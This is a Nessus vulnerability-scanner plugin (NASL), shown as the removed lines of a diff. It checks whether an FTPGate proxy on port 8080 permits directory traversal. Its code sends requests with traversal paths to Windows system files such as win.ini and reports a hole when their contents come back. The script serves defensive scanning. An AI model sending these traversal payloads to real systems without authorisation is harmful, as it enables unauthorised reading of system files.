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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10091);
- script_version ("$Revision: 1.12 $");
-
- name["english"] = "FTPGate traversal";
- name["francais"] = "FTPGate traversal";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It is possible to read arbitrary files on
- the remote server by prepending ../../
- or ..\..\ in front on the file name.
-
- Solution : Use another web proxy
- Risk factor : High";
-
- desc["francais"] = "Il est possible de lire
- n'importe quel fichier sur la machine distante
- en ajoutant des points devant leur noms,
- tels que ../../ ou ..\..\.
-
-
- Solution : dΘsactivez ce service et installez
- un vrai proxy
-
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "\..\..\file.txt";
- summary["francais"] = "\..\..\file.txt";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Remote file access";
- family["francais"] = "AccΦs aux fichiers distants";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes");
- script_require_ports(8080);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- port = 8080;
-
- if(get_port_state(port))
- {
- req1 = http_get(item:"..\\..\\..\\..\\..\\..\\windows\\win.ini", port:port);
- req2 = http_get(item:"..\\..\\..\\..\\..\\..\\winnt\\win.ini", port:port);
-
-
- soc = http_open_socket(port);
- if(soc)
- {
- send(socket:soc, data:req1);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if("[windows]" >< r){
- security_hole(port);
- exit(0);
- }
- soc2 = http_open_socket(port);
- if(!soc2)exit(0);
- send(socket:soc2, data:req2);
- r = http_recv(socket:soc2);
- http_close_socket(soc2);
- if("[fonts]" >< r){
- security_hole(port);
- exit(0);
- }
- }
- }
-